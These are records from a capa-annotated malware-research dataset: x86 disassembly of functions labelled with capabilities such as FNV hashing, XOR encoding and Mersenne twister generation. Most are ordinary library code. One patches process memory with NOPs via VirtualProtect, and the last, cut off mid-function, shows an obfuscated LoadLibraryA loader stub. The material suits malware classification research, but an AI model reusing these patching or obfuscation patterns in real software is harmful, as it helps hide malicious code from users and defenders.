joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10068530
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov esi, edi
mov dword [ebp - 4], ecx
cmp dword [edi + 0x14], 0x10
mov ebx, dword [edi + 0x10]
jb 0x1006854c
mov esi, dword [edi]
xor ecx, ecx
mov edx, 0x811c9dc5
test ebx, ebx
je 0x10068568
movzx eax, byte [ecx + esi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, ebx
jb 0x10068557
mov ebx, dword [ebp - 4]
mov eax, dword [ebx + 0x18]
mov ecx, dword [ebx + 0xc]
and eax, edx
mov ebx, dword [ebx + 4]
mov esi, dword [ecx + eax*8]
add eax, eax
mov edx, dword [ecx + eax*4]
inc eax
mov dword [ebp - 8], edx
lea eax, [ecx + eax*4]
mov dword [ebp - 0xc], eax
cmp edx, ebx
jne 0x10068590
mov eax, ebx
jmp 0x10068594
mov eax, dword [eax]
mov eax, dword [eax]
cmp esi, eax
je 0x10068607
cmp dword [edi + 0x14], 0x10
mov edx, edi
jb 0x100685a2
mov edx, dword [edi]
mov edi, dword [esi + 0x1c]
lea ecx, [esi + 8]
mov dword [ebp - 0x10], edi
cmp edi, 0x10
mov edi, dword [ebp + 0xc]
jb 0x100685b6
mov ecx, dword [esi + 8]
push dword [edi + 0x10]
mov eax, dword [esi + 0x18]
push edx
mov edx, eax
mov dword [ebp - 0x14], eax
call fcn.1000ba70
add esp, 8
test al, al
jne 0x100685d8
mov esi, dword [esi]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
jmp 0x10068588
cmp dword [ebp - 0x10], 0x10
lea eax, [esi + 8]
jb 0x100685e3
mov eax, dword [eax]
cmp dword [edi + 0x14], 0x10
mov ecx, edi
jb 0x100685ed
mov ecx, dword [edi]
push dword [ebp - 0x14]
mov edx, dword [edi + 0x10]
push eax
call fcn.1000ba70
add esp, 8
mov ecx, ebx
test al, al
cmovne ecx, esi
mov eax, ecx
jmp 0x1006860b
mov ecx, ebx
mov eax, ebx
cmp eax, ebx
jne 0x10068661
mov esi, dword [ebx]
lea eax, [ebp + 0xc]
push ecx
push eax
push ecx
mov dword [ebp + 0xc], edi
mov edi, dword [esi + 4]
push edi
push esi
call fcn.1006c4b0
mov ebx, dword [ebp - 4]
mov edx, eax
mov ecx, 0x71c71c6
mov eax, dword [ebx + 8]
sub ecx, eax
cmp ecx, 1
jb 0x10068673
inc eax
mov ecx, ebx
mov dword [ebx + 8], eax
mov dword [esi + 4], edx
mov esi, dword [ebp + 8]
mov dword [edi], edx
mov eax, dword [ebx + 4]
mov eax, dword [eax]
push eax
add eax, 8
push eax
push esi
call fcn.10069c50
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov dword [eax], ecx
mov byte [eax + 4], 0
mov esp, ebp
pop ebp
ret 8
push str.list_T__too_long
call fcn.1006df8f
int3
Function at 0x10068b20
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edi
mov eax, dword [edi]
cmp eax, 0x270
jne 0x10068b7e
lea edx, [edi + 8]
mov esi, eax
nop dword [eax]
mov ecx, dword [edx - 4]
lea edx, [edx + 4]
xor ecx, dword [edx - 4]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub esi, 1
jne 0x10068b40
mov eax, dword [edi]
jmp 0x10068c69
cmp eax, 0x4e0
jb 0x10068c69
mov eax, dword [edi + 0x9c4]
push ebx
lea ebx, [edi + 0x9c4]
mov edi, 0xe3
nop dword [eax + eax]
mov ecx, dword [ebx + 4]
lea edx, [ebx + 4]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [ebx + 0x634]
xor eax, ecx
mov dword [ebx - 0x9c0], eax
lea ebx, [edx]
mov eax, dword [edx]
sub edi, 1
jne 0x10068ba0
mov ebx, dword [ebp - 4]
mov edi, 0x18c
add ebx, 0xd50
mov eax, dword [ebx]
nop dword [eax]
mov ecx, eax
lea edx, [ebx + 4]
xor ecx, dword [edx]
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [ebx - 0xd4c]
xor eax, ecx
mov dword [ebx - 0x9c0], eax
lea ebx, [edx]
mov eax, dword [edx]
sub edi, 1
jne 0x10068bf0
mov edi, dword [ebp - 4]
pop ebx
mov ecx, dword [edi + 0x1380]
xor ecx, dword [edi + 4]
and ecx, 0x7fffffff
xor ecx, dword [edi + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x634]
xor eax, ecx
mov dword [edi + 0x9c0], eax
xor eax, eax
mov dword [edi], 0
mov edx, dword [edi + eax*4 + 4]
inc eax
mov dword [edi], eax
mov ecx, edx
mov eax, dword [edi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
pop edi
xor eax, edx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1006a910
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100c4970
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov dword [ebp - 4], 0
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ecx]
mov esi, dword [ebx + 4]
xor eax, 0x811c9dc5
imul edx, eax, 0x1000193
movzx eax, byte [ecx + 1]
mov dword [ebp - 0x18], ebx
xor edx, eax
imul eax, edx, 0x1000193
mov edx, dword [ebx + 0x18]
and edx, eax
mov eax, dword [ebx + 0xc]
mov dword [ebp + 0xc], edx
mov edi, dword [eax + edx*8]
cmp esi, edi
je 0x1006a9ab
mov esi, dword [eax + edx*8 + 4]
mov esi, dword [esi]
cmp esi, edi
je 0x1006a9ab
mov esi, dword [esi + 4]
mov ax, word [ecx]
cmp ax, word [esi + 8]
jne 0x1006a975
push dword [ebp + 0x10]
mov ecx, ebx
call fcn.1006b820
mov eax, dword [ebp + 8]
mov dword [eax], esi
mov byte [eax + 4], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x14], edi
mov eax, dword [edi]
cmp esi, eax
je 0x1006a9db
mov ecx, dword [edi + 4]
mov dword [ecx], eax
mov ecx, dword [eax + 4]
mov dword [ecx], esi
mov ecx, dword [esi + 4]
mov dword [ecx], edi
mov edx, dword [esi + 4]
mov ecx, dword [eax + 4]
mov dword [esi + 4], ecx
mov ecx, dword [edi + 4]
mov dword [eax + 4], ecx
mov dword [edi + 4], edx
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebx + 0xc]
mov eax, dword [ecx + edx*8]
cmp eax, dword [ebx + 4]
jne 0x1006a9f2
mov dword [ecx + edx*8], edi
mov eax, dword [ebx + 0xc]
mov dword [eax + edx*8 + 4], edi
jmp 0x1006aa17
cmp eax, esi
jne 0x1006a9fb
mov dword [ecx + edx*8], edi
jmp 0x1006aa17
mov eax, dword [ecx + edx*8 + 4]
mov eax, dword [eax]
mov dword [ecx + edx*8 + 4], eax
cmp eax, edi
je 0x1006aa17
mov ecx, dword [ebx + 0xc]
mov eax, dword [ecx + edx*8 + 4]
mov eax, dword [eax + 4]
mov dword [ecx + edx*8 + 4], eax
mov dword [ebp - 4], 2
mov eax, dword [ebx + 8]
mov ecx, dword [ebx + 0x1c]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x100e67a0]
mov eax, ecx
shr eax, 0x1f
cvtpd2ps xmm1, xmm0
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
addsd xmm0, qword [eax*8 + 0x100e67a0]
cvtpd2ps xmm0, xmm0
divss xmm1, xmm0
comiss xmm1, dword [ebx]
jbe 0x1006aaaa
cmp ecx, 0x200
jae 0x1006aa6c
shl ecx, 3
jmp 0x1006aa76
cmp ecx, 0x1fffffff
jae 0x1006aa76
add ecx, ecx
push ecx
mov ecx, ebx
call fcn.1000d020
mov eax, dword [ebx + 4]
cmp dword [eax], eax
je 0x1006aaaa
mov eax, dword [eax + 4]
mov dword [ebp + 0xc], eax
nop dword [eax + eax]
mov esi, dword [ebx + 4]
mov ecx, ebx
mov esi, dword [esi]
push esi
lea eax, [esi + 8]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.1006a910
cmp esi, dword [ebp + 0xc]
jne 0x1006aa90
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax], edi
pop edi
pop esi
mov byte [eax + 4], 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1006ad30
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100c4990
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov dword [ebp - 4], 0
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov ebx, ecx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], ebx
movzx eax, byte [edi]
xor eax, 0x811c9dc5
mov esi, dword [ebx + 4]
imul edx, eax, 0x1000193
movzx eax, byte [edi + 1]
xor edx, eax
movzx eax, byte [edi + 2]
imul ecx, edx, 0x1000193
mov edx, dword [ebx + 0x18]
xor ecx, eax
movzx eax, byte [edi + 3]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
and edx, eax
mov eax, dword [ebx + 0xc]
mov dword [ebp + 0xc], edx
mov ecx, dword [eax + edx*8]
cmp esi, ecx
je 0x1006ade4
mov esi, dword [eax + edx*8 + 4]
mov esi, dword [esi]
nop dword [eax]
cmp esi, ecx
je 0x1006ade4
mov esi, dword [esi + 4]
mov eax, dword [edi]
cmp eax, dword [esi + 8]
jne 0x1006adb0
push dword [ebp + 0x10]
mov ecx, ebx
call fcn.1006b8a0
mov eax, dword [ebp + 8]
mov dword [eax], esi
mov byte [eax + 4], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x14], edi
mov eax, dword [edi]
cmp esi, eax
je 0x1006ae14
mov ecx, dword [edi + 4]
mov dword [ecx], eax
mov ecx, dword [eax + 4]
mov dword [ecx], esi
mov ecx, dword [esi + 4]
mov dword [ecx], edi
mov edx, dword [esi + 4]
mov ecx, dword [eax + 4]
mov dword [esi + 4], ecx
mov ecx, dword [edi + 4]
mov dword [eax + 4], ecx
mov dword [edi + 4], edx
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebx + 0xc]
mov eax, dword [ecx + edx*8]
cmp eax, dword [ebx + 4]
jne 0x1006ae2b
mov dword [ecx + edx*8], edi
mov eax, dword [ebx + 0xc]
mov dword [eax + edx*8 + 4], edi
jmp 0x1006ae50
cmp eax, esi
jne 0x1006ae34
mov dword [ecx + edx*8], edi
jmp 0x1006ae50
mov eax, dword [ecx + edx*8 + 4]
mov eax, dword [eax]
mov dword [ecx + edx*8 + 4], eax
cmp eax, edi
je 0x1006ae50
mov ecx, dword [ebx + 0xc]
mov eax, dword [ecx + edx*8 + 4]
mov eax, dword [eax + 4]
mov dword [ecx + edx*8 + 4], eax
mov dword [ebp - 4], 2
mov eax, dword [ebx + 8]
mov ecx, dword [ebx + 0x1c]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x100e67a0]
mov eax, ecx
shr eax, 0x1f
cvtpd2ps xmm1, xmm0
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
addsd xmm0, qword [eax*8 + 0x100e67a0]
cvtpd2ps xmm0, xmm0
divss xmm1, xmm0
comiss xmm1, dword [ebx]
jbe 0x1006aede
cmp ecx, 0x200
jae 0x1006aea5
shl ecx, 3
jmp 0x1006aeaf
cmp ecx, 0x1fffffff
jae 0x1006aeaf
add ecx, ecx
push ecx
mov ecx, ebx
call fcn.1000d020
mov eax, dword [ebx + 4]
cmp dword [eax], eax
je 0x1006aede
mov eax, dword [eax + 4]
mov dword [ebp + 0xc], eax
mov esi, dword [ebx + 4]
mov ecx, ebx
mov esi, dword [esi]
push esi
lea eax, [esi + 8]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.1006ad30
cmp esi, dword [ebp + 0xc]
jne 0x1006aec4
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax], edi
pop edi
pop esi
mov byte [eax + 4], 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1006af20
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100c49a0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov dword [ebp - 4], 0
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov ebx, ecx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], ebx
movzx eax, byte [edi]
xor eax, 0x811c9dc5
mov esi, dword [ebx + 4]
imul edx, eax, 0x1000193
movzx eax, byte [edi + 1]
xor edx, eax
movzx eax, byte [edi + 2]
imul ecx, edx, 0x1000193
mov edx, dword [ebx + 0x18]
xor ecx, eax
movzx eax, byte [edi + 3]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
and edx, eax
mov eax, dword [ebx + 0xc]
mov dword [ebp + 0xc], edx
mov ecx, dword [eax + edx*8]
cmp esi, ecx
je 0x1006afd4
mov esi, dword [eax + edx*8 + 4]
mov esi, dword [esi]
nop dword [eax]
cmp esi, ecx
je 0x1006afd4
mov esi, dword [esi + 4]
mov eax, dword [edi]
cmp eax, dword [esi + 8]
jne 0x1006afa0
push dword [ebp + 0x10]
mov ecx, ebx
call fcn.1006b8f0
mov eax, dword [ebp + 8]
mov dword [eax], esi
mov byte [eax + 4], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x14], edi
mov eax, dword [edi]
cmp esi, eax
je 0x1006b004
mov ecx, dword [edi + 4]
mov dword [ecx], eax
mov ecx, dword [eax + 4]
mov dword [ecx], esi
mov ecx, dword [esi + 4]
mov dword [ecx], edi
mov edx, dword [esi + 4]
mov ecx, dword [eax + 4]
mov dword [esi + 4], ecx
mov ecx, dword [edi + 4]
mov dword [eax + 4], ecx
mov dword [edi + 4], edx
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebx + 0xc]
mov eax, dword [ecx + edx*8]
cmp eax, dword [ebx + 4]
jne 0x1006b01b
mov dword [ecx + edx*8], edi
mov eax, dword [ebx + 0xc]
mov dword [eax + edx*8 + 4], edi
jmp 0x1006b040
cmp eax, esi
jne 0x1006b024
mov dword [ecx + edx*8], edi
jmp 0x1006b040
mov eax, dword [ecx + edx*8 + 4]
mov eax, dword [eax]
mov dword [ecx + edx*8 + 4], eax
cmp eax, edi
je 0x1006b040
mov ecx, dword [ebx + 0xc]
mov eax, dword [ecx + edx*8 + 4]
mov eax, dword [eax + 4]
mov dword [ecx + edx*8 + 4], eax
mov dword [ebp - 4], 2
mov eax, dword [ebx + 8]
mov ecx, dword [ebx + 0x1c]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x100e67a0]
mov eax, ecx
shr eax, 0x1f
cvtpd2ps xmm1, xmm0
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
addsd xmm0, qword [eax*8 + 0x100e67a0]
cvtpd2ps xmm0, xmm0
divss xmm1, xmm0
comiss xmm1, dword [ebx]
jbe 0x1006b0ce
cmp ecx, 0x200
jae 0x1006b095
shl ecx, 3
jmp 0x1006b09f
cmp ecx, 0x1fffffff
jae 0x1006b09f
add ecx, ecx
push ecx
mov ecx, ebx
call fcn.1000d020
mov eax, dword [ebx + 4]
cmp dword [eax], eax
je 0x1006b0ce
mov eax, dword [eax + 4]
mov dword [ebp + 0xc], eax
mov esi, dword [ebx + 4]
mov ecx, ebx
mov esi, dword [esi]
push esi
lea eax, [esi + 8]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.1006af20
cmp esi, dword [ebp + 0xc]
jne 0x1006b0b4
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax], edi
pop edi
pop esi
mov byte [eax + 4], 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1006b770
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
cmp dword [edi + 0x1c], 0x10
lea esi, [edi + 8]
mov ebx, dword [edi + 0x18]
jb 0x1006b78c
mov esi, dword [edi + 8]
xor ecx, ecx
mov edx, 0x811c9dc5
test ebx, ebx
je 0x1006b7a8
movzx eax, byte [ecx + esi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, ebx
jb 0x1006b797
mov ebx, dword [ebp - 4]
mov eax, dword [ebx + 0x18]
mov ecx, dword [ebx + 0xc]
and eax, edx
lea edx, [eax*8]
mov eax, dword [ecx + edx]
add ecx, edx
cmp dword [ecx + 4], edi
jne 0x1006b7e1
cmp eax, edi
jne 0x1006b7d9
mov eax, dword [ebx + 4]
mov dword [ecx], eax
mov ecx, dword [ebx + 0xc]
mov eax, dword [ebx + 4]
mov dword [edx + ecx + 4], eax
jmp 0x1006b7e9
mov eax, dword [edi + 4]
mov dword [ecx + 4], eax
jmp 0x1006b7e9
cmp eax, edi
jne 0x1006b7e9
mov eax, dword [edi]
mov dword [ecx], eax
mov eax, dword [edi + 4]
lea ecx, [edi + 8]
mov esi, dword [edi]
mov dword [eax], esi
mov edx, dword [edi]
mov eax, dword [edi + 4]
mov dword [edx + 4], eax
dec dword [ebx + 8]
call fcn.1002b5b0
push 0x40
push edi
call fcn.1006cd71
mov eax, dword [ebp + 8]
add esp, 8
pop edi
mov dword [eax], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x1006bc40
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
push edi
mov edi, ecx
movzx edx, byte [eax + 8]
movzx ecx, byte [eax + 0xa]
xor edx, 0x811c9dc5
imul esi, edx, 0x1000193
movzx edx, byte [eax + 9]
xor esi, edx
imul edx, esi, 0x1000193
xor edx, ecx
movzx ecx, byte [eax + 0xb]
imul edx, edx, 0x1000193
xor edx, ecx
imul ecx, edx, 0x1000193
mov edx, dword [edi + 0x18]
and edx, ecx
lea esi, [edx*8]
mov edx, dword [edi + 0xc]
add edx, esi
mov ecx, dword [edx]
cmp dword [edx + 4], eax
jne 0x1006bcb3
cmp ecx, eax
jne 0x1006bcab
mov ecx, dword [edi + 4]
mov dword [edx], ecx
mov edx, dword [edi + 0xc]
mov ecx, dword [edi + 4]
mov dword [esi + edx + 4], ecx
jmp 0x1006bcbb
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
jmp 0x1006bcbb
cmp ecx, eax
jne 0x1006bcbb
mov ecx, dword [eax]
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov esi, dword [eax]
push eax
mov dword [ecx], esi
mov edx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
dec dword [edi + 8]
call fcn.10065f10
mov eax, dword [ebp + 8]
pop edi
mov dword [eax], esi
pop esi
pop ebp
ret 8
Function at 0x1006bd10
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x100bfe30
push eax
mov dword fs:[0], esp
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, ecx
push edi
movzx eax, byte [esi + 8]
mov ecx, dword [ebx + 0x18]
xor eax, 0x811c9dc5
imul edx, eax, 0x1000193
movzx eax, byte [esi + 9]
xor edx, eax
imul eax, edx, 0x1000193
and ecx, eax
lea edx, [ecx*8]
mov ecx, dword [ebx + 0xc]
add ecx, edx
cmp dword [ecx + 4], esi
jne 0x1006bd7e
cmp dword [ecx], esi
jne 0x1006bd76
mov eax, dword [ebx + 4]
mov dword [ecx], eax
mov ecx, dword [ebx + 0xc]
mov eax, dword [ebx + 4]
mov dword [edx + ecx + 4], eax
jmp 0x1006bd86
mov eax, dword [esi + 4]
mov dword [ecx + 4], eax
jmp 0x1006bd86
cmp dword [ecx], esi
jne 0x1006bd86
mov eax, dword [esi]
mov dword [ecx], eax
mov eax, dword [esi + 4]
mov edi, dword [esi]
mov dword [eax], edi
mov ecx, dword [esi]
mov eax, dword [esi + 4]
mov dword [ecx + 4], eax
dec dword [ebx + 8]
lea ebx, [esi + 0x10]
mov dword [ebp - 4], 0
mov ecx, dword [ebx + 0x24]
test ecx, ecx
je 0x1006bdbe
mov edx, dword [ecx]
cmp ecx, ebx
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
mov dword [ebx + 0x24], 0
push 0x38
push esi
call fcn.1006cd71
mov eax, dword [ebp + 8]
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword [eax], edi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x1006be50
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
cmp dword [edi + 0x1c], 0x10
lea esi, [edi + 8]
mov ebx, dword [edi + 0x18]
jb 0x1006be6c
mov esi, dword [edi + 8]
xor ecx, ecx
mov edx, 0x811c9dc5
test ebx, ebx
je 0x1006be88
movzx eax, byte [ecx + esi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, ebx
jb 0x1006be77
mov ebx, dword [ebp - 4]
mov eax, dword [ebx + 0x18]
mov ecx, dword [ebx + 0xc]
and eax, edx
lea edx, [eax*8]
mov eax, dword [ecx + edx]
add ecx, edx
cmp dword [ecx + 4], edi
jne 0x1006bec1
cmp eax, edi
jne 0x1006beb9
mov eax, dword [ebx + 4]
mov dword [ecx], eax
mov ecx, dword [ebx + 0xc]
mov eax, dword [ebx + 4]
mov dword [edx + ecx + 4], eax
jmp 0x1006bec9
mov eax, dword [edi + 4]
mov dword [ecx + 4], eax
jmp 0x1006bec9
cmp eax, edi
jne 0x1006bec9
mov eax, dword [edi]
mov dword [ecx], eax
mov eax, dword [edi + 4]
lea ecx, [edi + 8]
mov esi, dword [edi]
mov dword [eax], esi
mov edx, dword [edi]
mov eax, dword [edi + 4]
mov dword [edx + 4], eax
dec dword [ebx + 8]
call fcn.1001c1c0
push 0x38
push edi
call fcn.1006cd71
mov eax, dword [ebp + 8]
add esp, 8
pop edi
mov dword [eax], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1006c1d0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov ebx, ecx
movzx eax, byte [edi + 8]
xor eax, 0x811c9dc5
imul edx, eax, 0x1000193
movzx eax, byte [edi + 9]
xor edx, eax
movzx eax, byte [edi + 0xa]
imul ecx, edx, 0x1000193
xor ecx, eax
movzx eax, byte [edi + 0xb]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
mov ecx, dword [ebx + 0x18]
and ecx, eax
lea edx, [ecx*8]
mov ecx, dword [ebx + 0xc]
add ecx, edx
mov eax, dword [ecx]
cmp dword [ecx + 4], edi
jne 0x1006c243
cmp eax, edi
jne 0x1006c23b
mov eax, dword [ebx + 4]
mov dword [ecx], eax
mov ecx, dword [ebx + 0xc]
mov eax, dword [ebx + 4]
mov dword [edx + ecx + 4], eax
jmp 0x1006c24b
mov eax, dword [edi + 4]
mov dword [ecx + 4], eax
jmp 0x1006c24b
cmp eax, edi
jne 0x1006c24b
mov eax, dword [edi]
mov dword [ecx], eax
mov eax, dword [edi + 4]
mov esi, dword [edi]
mov dword [eax], esi
mov ecx, dword [edi]
mov eax, dword [edi + 4]
mov dword [ecx + 4], eax
lea ecx, [edi + 0xc]
dec dword [ebx + 8]
call fcn.1000def0
push 0x2c
push edi
call fcn.1006cd71
mov eax, dword [ebp + 8]
add esp, 8
pop edi
mov dword [eax], esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x1006c2e0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
cmp dword [edi + 0x1c], 0x10
lea esi, [edi + 8]
mov ebx, dword [edi + 0x18]
jb 0x1006c2fc
mov esi, dword [edi + 8]
xor ecx, ecx
mov edx, 0x811c9dc5
test ebx, ebx
je 0x1006c318
movzx eax, byte [ecx + esi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, ebx
jb 0x1006c307
mov ebx, dword [ebp - 4]
mov eax, dword [ebx + 0x18]
mov ecx, dword [ebx + 0xc]
and eax, edx
lea edx, [eax*8]
mov eax, dword [ecx + edx]
add ecx, edx
cmp dword [ecx + 4], edi
jne 0x1006c351
cmp eax, edi
jne 0x1006c349
mov eax, dword [ebx + 4]
mov dword [ecx], eax
mov ecx, dword [ebx + 0xc]
mov eax, dword [ebx + 4]
mov dword [edx + ecx + 4], eax
jmp 0x1006c359
mov eax, dword [edi + 4]
mov dword [ecx + 4], eax
jmp 0x1006c359
cmp eax, edi
jne 0x1006c359
mov eax, dword [edi]
mov dword [ecx], eax
mov eax, dword [edi + 4]
lea ecx, [edi + 8]
mov esi, dword [edi]
mov dword [eax], esi
mov edx, dword [edi]
mov eax, dword [edi + 4]
mov dword [edx + 4], eax
dec dword [ebx + 8]
call fcn.1001c1c0
push 0x3c
push edi
call fcn.1006cd71
mov eax, dword [ebp + 8]
add esp, 8
pop edi
mov dword [eax], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1006c5d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
mov dword [0x100fe0e8], 0x506df0
push eax
push 0x40
push 0x16
push 0x50610b
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1006c625
mov eax, 0x50610b
mov ecx, 0x90909090
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], ecx
mov word [eax + 0x14], cx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 0x16
push 0x50610b
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.10001250
push 0x1006c650
push 0x100fe0e8
call fcn.10001aa0
call fcn.100014b0
mov esp, ebp
pop ebp
ret

Function at 0x10098f4e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10098dc4

Function at 0x100a7ed9
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x407db7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x407dc6
pop dword [ebp - 0x38]
mov eax, 0x7742a85d
add eax, 0x88fdd569
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x2611e4d4
sub dword [ebp - 0x48], 0xd7bf9f89
mov dword [ebp - 0x44], 0xdae72f4c
sub dword [ebp - 0x44], 0xa8b3e307
mov dword [ebp - 0x40], 0x5966e900
sub dword [ebp - 0x40], 0xd1aa4d2
mov dword [ebp - 0x3c], 0xef448113
add dword [ebp - 0x3c], 0x10bb7eed
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x2f1f9084
sub dword [ebp - 0x48], 0xbaad272e
mov dword [ebp - 0x44], 0x55034d88
sub dword [ebp - 0x44], 0x1396ec13
